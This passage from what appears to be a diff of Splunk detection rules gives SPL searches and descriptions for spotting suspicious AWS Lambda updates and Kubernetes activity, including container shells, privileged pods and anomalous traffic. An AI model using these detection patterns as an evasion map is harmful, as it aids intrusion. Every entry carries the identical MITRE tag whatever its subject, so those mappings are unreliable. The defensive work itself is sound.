eventSource=lambda.amazonaws.com eventName=UpdateFunctionCode* errorCode = success user_type=IAMUser | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.functionName) as function_updated by src_ip user_arn user_agent user_type eventName aws_account_id |`aws_lambda_updatefunctioncode_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ is attempting to update the lambda function code of $function_updated$ from this IP $src_ip$", - "risk_score": 63, - "security_domain": "cloud", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Anomalous Inbound Network Activity from Process", - "description": "The following analytic identifies anomalous inbound network traffic volumes from processes within containerized workloads. It leverages Network Performance Monitoring metrics collected via an OTEL collector and pulled from Splunk Observability Cloud. The detection compares recent metrics (tcp.bytes, tcp.new_sockets, tcp.packets, udp.bytes, udp.packets) over the last hour with the average over the past 30 days. This activity is significant as it may indicate unauthorized data reception, potential breaches, vulnerability exploitation, or malware propagation. If confirmed malicious, it could lead to command and control installation, data integrity damage, container escape, and further environment compromise.", - "search": "| mstats avg(tcp.*) as tcp.* avg(udp.*) as udp.* where `kubernetes_metrics` AND earliest=-1h by k8s.cluster.name dest.workload.name dest.process.name span=10s | eval key='dest.workload.name' + \":\" + 'dest.process.name' | join type=left key [ mstats avg(tcp.*) as avg_tcp.* avg(udp.*) as avg_udp.* stdev(tcp.*) as stdev_tcp.* avg(udp.*) as stdev_udp.* where `kubernetes_metrics` AND earliest=-30d latest=-1h by dest.workload.name dest.process.name | eval key='dest.workload.name' + \":\" + 'dest.process.name' ] | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 3 * 'stdev_<>'), anomalies + \"<> higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | fillnull | eval anomalies = split(replace(anomalies, \",\\s$$$$\", \"\") ,\", \") | where anomalies!=\"\" | stats count(anomalies) as count values(anomalies) as anomalies by k8s.cluster.name dest.workload.name dest.process.name | where count > 5 | rename k8s.cluster.name as host | `kubernetes_anomalous_inbound_network_activity_from_process_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Anomalous Inbound Network Activity from Process in kubernetes cluster $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Anomalous Inbound Outbound Network IO", - "description": "The following analytic identifies high inbound or outbound network I/O anomalies in Kubernetes containers. It leverages process metrics from an OTEL collector and Kubelet Stats Receiver, along with data from Splunk Observability Cloud. A lookup table with average and standard deviation values for network I/O is used to detect anomalies persisting over a 1-hour period. This activity is significant as it may indicate data exfiltration, command and control communication, or unauthorized data transfers. If confirmed malicious, it could lead to data breaches, service outages, financial losses, and reputational damage.", - "search": "| mstats avg(k8s.pod.network.io) as io where `kubernetes_metrics` by k8s.cluster.name k8s.pod.name k8s.node.name direction span=10s | eval service = replace('k8s.pod.name', \"-\\w{5}$$|-[abcdef0-9]{8,10}-\\w{5}$$\", \"\") | stats avg(eval(if(direction=\"transmit\", io,null()))) as outbound_network_io avg(eval(if(direction=\"receive\", io,null()))) as inbound_network_io by k8s.cluster.name k8s.node.name k8s.pod.name service _time | eval key = 'k8s.cluster.name' + \":\" + 'service' | lookup k8s_container_network_io_baseline key | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 4 * 'stdev_<>'), anomalies + \"<> higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | eval anomalies = replace(anomalies, \",\\s$$\", \"\") | where anomalies!=\"\" | stats count values(anomalies) as anomalies by k8s.cluster.name k8s.node.name k8s.pod.name service | rename service as k8s.service | where count > 5 | rename k8s.node.name as host | `kubernetes_anomalous_inbound_outbound_network_io_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Anomalous Inbound Outbound Network IO from container on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Anomalous Inbound to Outbound Network IO Ratio", - "description": "The following analytic identifies significant changes in network communication behavior within Kubernetes containers by examining the inbound to outbound network IO ratios. It leverages process metrics from an OTEL collector and Kubelet Stats Receiver, along with data from Splunk Observability Cloud. Anomalies are detected using a lookup table containing average and standard deviation values for network IO, triggering an event if the anomaly persists for over an hour. This activity is significant as it may indicate data exfiltration, command and control communication, or compromised container behavior. If confirmed malicious, it could lead to data breaches, service outages, and unauthorized access within the Kubernetes cluster.", - "search": "| mstats avg(k8s.pod.network.io) as io where `kubernetes_metrics` by k8s.cluster.name k8s.pod.name k8s.node.name direction span=10s | eval service = replace('k8s.pod.name', \"-\\w{5}$|-[abcdef0-9]{8,10}-\\w{5}$\", \"\") | eval key = 'k8s.cluster.name' + \":\" + 'service' | stats avg(eval(if(direction=\"transmit\", io,null()))) as outbound_network_io avg(eval(if(direction=\"receive\", io,null()))) as inbound_network_io by key service k8s.cluster.name k8s.pod.name k8s.node.name _time | eval inbound:outbound = inbound_network_io/outbound_network_io | eval outbound:inbound = outbound_network_io/inbound_network_io | fields - *network_io | lookup k8s_container_network_io_ratio_baseline key | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 4 * 'stdev_<>'), anomalies + \"<> ratio higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | eval anomalies = replace(anomalies, \",\\s$\", \"\") | where anomalies!=\"\" | stats count values(anomalies) as anomalies by k8s.cluster.name k8s.node.name k8s.pod.name service | rename service as k8s.service | where count > 5 | rename k8s.node.name as host | `kubernetes_anomalous_inbound_to_outbound_network_io_ratio_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Anomalous Inbound to Outbound Network IO Ratio from Container on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Anomalous Outbound Network Activity from Process", - "description": "The following analytic identifies anomalously high outbound network activity from processes running within containerized workloads in a Kubernetes environment. It leverages Network Performance Monitoring metrics collected via an OTEL collector and pulled from Splunk Observability Cloud. The detection compares recent network metrics (tcp.bytes, tcp.new_sockets, tcp.packets, udp.bytes, udp.packets) over the last hour with the average metrics over the past 30 days. This activity is significant as it may indicate data exfiltration, process modification, or container compromise. If confirmed malicious, it could lead to unauthorized data exfiltration, communication with malicious entities, or further attacks within the containerized environment.", - "search": "| mstats avg(tcp.*) as tcp.* avg(udp.*) as udp.* where `kubernetes_metrics` AND earliest=-1h by k8s.cluster.name source.workload.name source.process.name span=10s | eval key='source.workload.name' + \":\" + 'source.process.name' | join type=left key [ mstats avg(tcp.*) as avg_tcp.* avg(udp.*) as avg_udp.* stdev(tcp.*) as stdev_tcp.* avg(udp.*) as stdev_udp.* where `kubernetes_metrics` AND earliest=-30d latest=-1h by source.workload.name source.process.name | eval key='source.workload.name' + \":\" + 'source.process.name' ] | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 3 * 'stdev_<>'), anomalies + \"<> higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | fillnull | eval anomalies = split(replace(anomalies, \",\\s$$$$\", \"\") ,\", \") | where anomalies!=\"\" | stats count(anomalies) as count values(anomalies) as anomalies by k8s.cluster.name source.workload.name source.process.name | where count > 5 | rename k8s.cluster.name as host | `kubernetes_anomalous_outbound_network_activity_from_process_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Anomalous Outbound Network Activity from Process in kubernetes cluster $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Anomalous Traffic on Network Edge", - "description": "The following analytic identifies anomalous network traffic volumes between Kubernetes workloads or between a workload and external sources. It leverages Network Performance Monitoring metrics collected via an OTEL collector and pulled from Splunk Observability Cloud. The detection compares recent network metrics (tcp.bytes, tcp.new_sockets, tcp.packets, udp.bytes, udp.packets) over the last hour with the average over the past 30 days to identify significant deviations. This activity is significant as unexpected spikes may indicate unauthorized data transfers or lateral movement. If confirmed malicious, it could lead to data exfiltration or compromise of additional services, potentially resulting in data breaches.", - "search": "| mstats avg(tcp.*) as tcp.* avg(udp.*) as udp.* where `kubernetes_metrics` AND earliest=-1h by k8s.cluster.name source.workload.name dest.workload.name span=10s | eval key='source.workload.name' + \":\" + 'dest.workload.name' | join type=left key [ mstats avg(tcp.*) as avg_tcp.* avg(udp.*) as avg_udp.* stdev(tcp.*) as stdev_tcp.* avg(udp.*) as stdev_udp.* where `kubernetes_metrics` AND earliest=-30d latest=-1h by source.workload.name dest.workload.name | eval key='source.workload.name' + \":\" + 'dest.workload.name' ] | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 3 * 'stdev_<>'), anomalies + \"<> higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | fillnull | eval anomalies = split(replace(anomalies, \",\\s$$$$\", \"\") ,\", \") | where anomalies!=\"\" | stats count(anomalies) as count values(anomalies) as anomalies by k8s.cluster.name source.workload.name dest.workload.name | rename service as k8s.service | where count > 5 | rename k8s.cluster.name as host | `kubernetes_anomalous_traffic_on_network_edge_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Anomalous Traffic on Network Edge in kubernetes cluster $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Create or Update Privileged Pod", - "description": "The following analytic detects the creation or update of privileged pods in Kubernetes. It identifies this activity by monitoring Kubernetes Audit logs for pod configurations that include root privileges. This behavior is significant for a SOC as it could indicate an attempt to escalate privileges, exploit the kernel, and gain full access to the host's namespace and devices. If confirmed malicious, this activity could lead to unauthorized access to sensitive information, data breaches, and service disruptions, posing a severe threat to the environment.", - "search": "`kube_audit` objectRef.resource=pods verb=create OR verb=update requestObject.metadata.annotations.kubectl.kubernetes.io/last-applied-configuration=*\\\"privileged\\\":true* | fillnull | stats count values(user.groups{}) as user_groups by kind objectRef.name objectRef.namespace objectRef.resource requestObject.kind responseStatus.code sourceIPs{} stage user.username userAgent verb requestObject.metadata.annotations.kubectl.kubernetes.io/last-applied-configuration | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_create_or_update_privileged_pod_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes privileged pod created by user $user$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes DaemonSet Deployed", - "description": "The following analytic detects the creation of a DaemonSet in a Kubernetes cluster. This behavior is identified by monitoring Kubernetes Audit logs for the creation event of a DaemonSet. DaemonSets ensure a specific pod runs on every node, making them a potential vector for persistent access. This activity is significant for a SOC as it could indicate an attempt to maintain persistent access to the Kubernetes infrastructure. If confirmed malicious, it could lead to persistent attacks, service disruptions, or unauthorized access to sensitive information.", - "search": "`kube_audit` \"objectRef.resource\"=daemonsets verb=create | fillnull | stats count values(user.groups{}) as user_groups by kind objectRef.name objectRef.namespace objectRef.resource requestObject.kind responseStatus.code sourceIPs{} stage user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_daemonset_deployed_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "DaemonSet deployed to Kubernetes by user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Falco Shell Spawned", - "description": "The following analytic detects instances where a shell is spawned within a Kubernetes container. Leveraging Falco, a cloud-native runtime security tool, this analytic monitors system calls within the Kubernetes environment and flags when a shell is spawned. This activity is significant for a SOC as it may indicate unauthorized access, allowing an attacker to execute arbitrary commands, manipulate container processes, or escalate privileges. If confirmed malicious, this could lead to data breaches, service disruptions, or unauthorized access to sensitive information, severely impacting the Kubernetes infrastructure's integrity and security.", - "search": "`kube_container_falco` \"A shell was spawned in a container\" | fillnull | stats count by container_image container_image_tag container_name parent proc_exepath process user | `kubernetes_falco_shell_spawned_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A shell is spawned in the container $container_name$ by user $user$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes newly seen TCP edge", - "description": "The following analytic identifies newly seen TCP communication between source and destination workload pairs within a Kubernetes cluster. It leverages Network Performance Monitoring metrics collected via an OTEL collector and pulled from Splunk Observability Cloud. The detection compares network activity over the last hour with the past 30 days to spot new inter-workload communications. This is significant as new connections can indicate changes in application behavior or potential security threats. If malicious, unauthorized connections could lead to data breaches, privilege escalation, lateral movement, or disruption of critical services, compromising the application's integrity, availability, and confidentiality.", - "search": "| mstats count(tcp.packets) as tcp.packets_count where `kubernetes_metrics` AND earliest=-1h by k8s.cluster.name source.workload.name dest.workload.name | eval current=\"True\" | append [ mstats count(tcp.packets) as tcp.packets_count where `kubernetes_metrics` AND earliest=-30d latest=-1h by source.workload.name dest.workload.name | eval current=\"false\" ] | eventstats values(current) as current by source.workload.name dest.workload.name | search current=\"true\" current!=\"false\" | rename k8s.cluster.name as host | `kubernetes_newly_seen_tcp_edge_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes newly seen TCP edge in kubernetes cluster $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes newly seen UDP edge", - "description": "The following analytic detects UDP communication between a newly seen source and destination workload pair within a Kubernetes cluster. It leverages Network Performance Monitoring metrics collected via an OTEL collector and pulled from Splunk Observability Cloud. This detection compares network activity over the last hour with the past 30 days to identify new inter-workload communication. Such changes in network behavior can indicate potential security threats or anomalies. If confirmed malicious, unauthorized connections may enable attackers to infiltrate the application ecosystem, leading to data breaches, privilege escalation, lateral movement, or disruption of critical services.", - "search": "| mstats count(udp.packets) as udp.packets_count where `kubernetes_metrics` AND earliest=-1h by k8s.cluster.name source.workload.name dest.workload.name | eval current=\"True\" | append [ mstats count(udp.packets) as udp.packets_count where `kubernetes_metrics` AND earliest=-30d latest=-1h by source.workload.name dest.workload.name | eval current=\"false\" ] | eventstats values(current) as current by source.workload.name dest.workload.name | search current=\"true\" current!=\"false\" | rename k8s.cluster.name as host | `kubernetes_newly_seen_udp_edge_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes newly seen UDP edge in kubernetes cluster $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Node Port Creation", - "description": "The following analytic detects the creation of a Kubernetes NodePort service, which exposes a service to the external network. It identifies this activity by monitoring Kubernetes Audit logs for the creation of NodePort services. This behavior is significant for a SOC as it could allow an attacker to access internal services, posing a threat to the Kubernetes infrastructure's integrity and security. If confirmed malicious, this activity could lead to data breaches, service disruptions, or unauthorized access to sensitive information.", - "search": "`kube_audit` \"objectRef.resource\"=services verb=create requestObject.spec.type=NodePort | fillnull | stats count values(user.groups{}) as user_groups by kind objectRef.name objectRef.namespace objectRef.resource requestObject.kind requestObject.spec.type responseStatus.code sourceIPs{} stage user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_node_port_creation_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes node port creation from user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Pod Created in Default Namespace", - "description": "The following analytic detects the creation of Kubernetes pods in the default, kube-system, or kube-public namespaces. It leverages Kubernetes audit logs to identify pod creation events within these specific namespaces. This activity is significant for a SOC as it may indicate an attacker attempting to hide their presence or evade defenses. Unauthorized pod creation in these namespaces can suggest a successful cluster breach, potentially leading to privilege escalation, persistent access, or further malicious activities within the cluster.", - "search": "`kube_audit` objectRef.resource=pods verb=create objectRef.namespace IN (\"default\", \"kube-system\", \"kube-public\") | fillnull | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_pod_created_in_default_namespace_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes Pod Created in Default Namespace by $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Pod With Host Network Attachment", - "description": "The following analytic detects the creation or update of a Kubernetes pod with host network attachment. It leverages Kubernetes Audit logs to identify pods configured with host network settings. This activity is significant for a SOC as it could allow an attacker to monitor all network traffic on the node, potentially capturing sensitive information and escalating privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, and service disruptions, severely impacting the security and integrity of the Kubernetes environment.", - "search": "`kube_audit` objectRef.resource=pods verb=create OR verb=update requestObject.metadata.annotations.kubectl.kubernetes.io/last-applied-configuration=*\\\"hostNetwork\\\":true* | fillnull | stats count values(user.groups{}) as user_groups by kind objectRef.name objectRef.namespace objectRef.resource requestObject.kind responseStatus.code sourceIPs{} stage user.username userAgent verb requestObject.metadata.annotations.kubectl.kubernetes.io/last-applied-configuration | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_pod_with_host_network_attachment_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes pod with host network attachment from user $user$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Previously Unseen Container Image Name", - "description": "The following analytic identifies the creation of containerized workloads using previously unseen images in a Kubernetes cluster. It leverages process metrics from an OTEL collector and Kubernetes cluster receiver, pulled from Splunk Observability Cloud. The detection compares container image names seen in the last hour with those from the previous 30 days. This activity is significant as unfamiliar container images may introduce vulnerabilities, malware, or misconfigurations, posing threats to the cluster's integrity. If confirmed malicious, compromised images can lead to data breaches, service disruptions, unauthorized access, and potential lateral movement within the cluster.", - "search": "| mstats count(k8s.container.ready) as k8s.container.ready_count where `kubernetes_metrics` AND earliest=-24h by host.name k8s.cluster.name k8s.node.name container.image.name | eval current=\"True\" | append [mstats count(k8s.container.ready) as k8s.container.ready_count where `kubernetes_metrics` AND earliest=-30d latest=-1h by host.name k8s.cluster.name k8s.node.name container.image.name | eval current=\"false\" ] | stats values(current) as current by host.name k8s.cluster.name k8s.node.name container.image.name | search current=\"true\" AND current!=\"false\" | rename host.name as host | `kubernetes_previously_unseen_container_image_name_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Previously Unseen Container Image Name on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Previously Unseen Process", - "description": "The following analytic detects previously unseen processes within the Kubernetes environment on master or worker nodes. It leverages process metrics collected via an OTEL collector and hostmetrics receiver, and data is pulled from Splunk Observability Cloud. This detection compares processes observed in the last hour against those seen in the previous 30 days. Identifying new processes is crucial as they may indicate unauthorized activity or attempts to compromise the node. If confirmed malicious, these processes could lead to data exfiltration, privilege escalation, denial-of-service attacks, or the introduction of malware, posing significant risks to the Kubernetes cluster.", - "search": "| mstats count(process.memory.utilization) as process.memory.utilization_count where `kubernetes_metrics` AND earliest=-1h by host.name k8s.cluster.name k8s.node.name process.executable.name | eval current=\"True\" | append [mstats count(process.memory.utilization) as process.memory.utilization_count where `kubernetes_metrics` AND earliest=-30d latest=-1h by host.name k8s.cluster.name k8s.node.name process.executable.name ] | stats count values(current) as current by host.name k8s.cluster.name k8s.node.name process.executable.name | where count=1 and current=\"True\" | rename host.name as host | `kubernetes_previously_unseen_process_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Previously Unseen Process on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Process Running From New Path", - "description": "The following analytic identifies processes running from newly seen paths within a Kubernetes environment. It leverages process metrics collected via an OTEL collector and hostmetrics receiver, and data is pulled from Splunk Observability Cloud using the Splunk Infrastructure Monitoring Add-on. This detection compares processes observed in the last hour with those seen over the previous 30 days. This activity is significant as it may indicate unauthorized changes, compromised nodes, or the introduction of malicious software. If confirmed malicious, it could lead to unauthorized process execution, control over critical resources, data exfiltration, privilege escalation, or malware introduction within the Kubernetes cluster.", - "search": "| mstats count(process.memory.utilization) as process.memory.utilization_count where `kubernetes_metrics` AND earliest=-1h by host.name k8s.cluster.name k8s.node.name process.pid process.executable.path process.executable.name | eval current=\"True\" | append [ mstats count(process.memory.utilization) as process.memory.utilization_count 